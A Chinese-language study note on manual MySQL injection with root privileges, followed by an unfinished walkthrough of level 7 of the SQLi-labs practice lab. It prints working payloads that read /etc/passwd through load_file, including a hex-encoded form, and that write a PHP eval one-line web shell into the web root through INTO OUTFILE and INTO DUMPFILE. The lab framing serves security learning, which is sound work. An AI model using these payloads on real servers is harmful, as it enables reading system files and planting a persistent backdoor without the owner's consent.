MySQL手注之ROOT权限处理

读写操作需要的条件

正常条件

当前连接到数据库的用户是ROOT权限
网站物路径(可以用报错、phpinfo页面、猜、爆破)

版本条件

5.5.53之前：secure_file_priv变量默认为空，所以默认情况下是可以直接通过SQL语句来导出文件的
高于5.5：secure_file_priv的值为null,表示不允许导入导出；为/tmp/表示导入导出只能发身在/tmp/目录下；没有具体值时，即' ',表示不对mysql的导入导出做限制

查看secure-file-priv参数的值

show global variables like '%secure%'

MySQL读文件

函数load_file()

select load_file('/etc/passwd');
select load_file(0x2f6574632f706173737764);

MySQL写文件

into outfile函数

直接将一句话木马写入

写文件是会在每一行的结束自动加上换行符
select '' into outfile '/var/www/html/muma.php';

设置字符

select * from tdb_goods where godds_id=1 into outfile "/var/www/html/muma.php" lines starting by '<?php @eval($_POST[pass])?>'

LINES STARTING BY '写入的内容'

设置每行数据开头的字符，可以为单个或多个字符，默认不适用任何字符

2.LINES TERMINATED BY '写入的内同'

设置每行数据结尾的字符，默认值是"\n"

into dumpfile函数

写文件会保持文件得到原生内容，这种方式是对二进制文件是最好的选择
select '' into dumpfile '/var/www/html/muma.php';

SQLI_labs_第7关

先判断是否存在注入点

1.想办法让页面出错

2.构造正确逻辑，使页面返回正常内容

出错后，我们将单引号去掉(第1步通过'让页面报错，而这里又报错，说明参数并不是字符型)

3.构造错误逻辑，页面会什么也不显示

通过第三步的结果，充分说明，我前两部是错的。再来

先判断是否存在注入点(第二次)

分析
首先第一次的第一步，用'导致了报错，这说明对方闭合的末尾肯定是'
2.构造正确逻辑，返回正确结果
第一次的第二步是因为‘存在报错了，认为参数是数字型，目前来看参数不是数字型，参数的闭合还有()存在的可能性

这里的时候，我在网上找了教程，会发现自己错了两个地方：1、括号是在引号之后 2、两个))

3. 构造错误逻辑，页面不显示

但是这里报错了